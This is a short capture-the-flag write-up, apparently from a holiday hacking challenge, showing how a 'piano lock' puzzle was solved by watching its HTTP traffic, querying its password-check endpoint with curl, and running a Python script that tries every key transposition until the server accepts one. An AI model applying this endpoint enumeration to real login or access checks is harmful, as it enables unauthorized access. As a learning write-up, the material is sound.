First, I looked at the traffic coming from the piano lock, and saw that to check the pass, a GET request was sent with a parameter i that was a string of keys, where sh followed a letter to make it sharp. With that in mind, I could use curl to check a string of keys. For example, here’s the results for both the original offkey solution and just a wrong solution:

root@kali# curl "https://pianolockn.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshABAshBAshB&resourceId=undefined"                       
{"success":false,"message":"offkey"}

root@kali# curl "https://pianolockn.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshAshBAshBAshB&resourceId=undefined"                     
{"success":false,"message":"Incorrect guess."}

With that in mind, and the note about being in the wrong key, I wrote a quick python script to check all possible keys:

#!/usr/bin/env python3

import json
import requests

keys = ['A', 'Ash', 'B', 'C', 'Csh', 'D', 'Dsh', 'E', 'F', 'Fsh', 'G', 'Gsh', 'A']

song = 'EDshEDshEEDshEFshGshFshGshABAshBAshB'

def shift_key(s):

    new_keys = ''

    while s:
        if s[1:3] == 'sh':
            key = s[0:3]
            s = s[3:]
        else:
            key = s[0]
            s = s[1:]
        new_keys += keys[keys.index(key)+1]
    return new_keys

for i in range(13):
    song = shift_key(song)
    resp = requests.get(f"https://pianolockn.kringlecastle.com/checkpass.php?i={song}&resourceId=undefined")
    if json.loads(resp.text)['success']:
        print(f"[*] Found song: {song}")
root@kali# ./change_keys.py 
[*] Found song: DCshDCshDDCshDEFshEFshGAGshAGshA

That script was able to find the right answer within a couple seconds.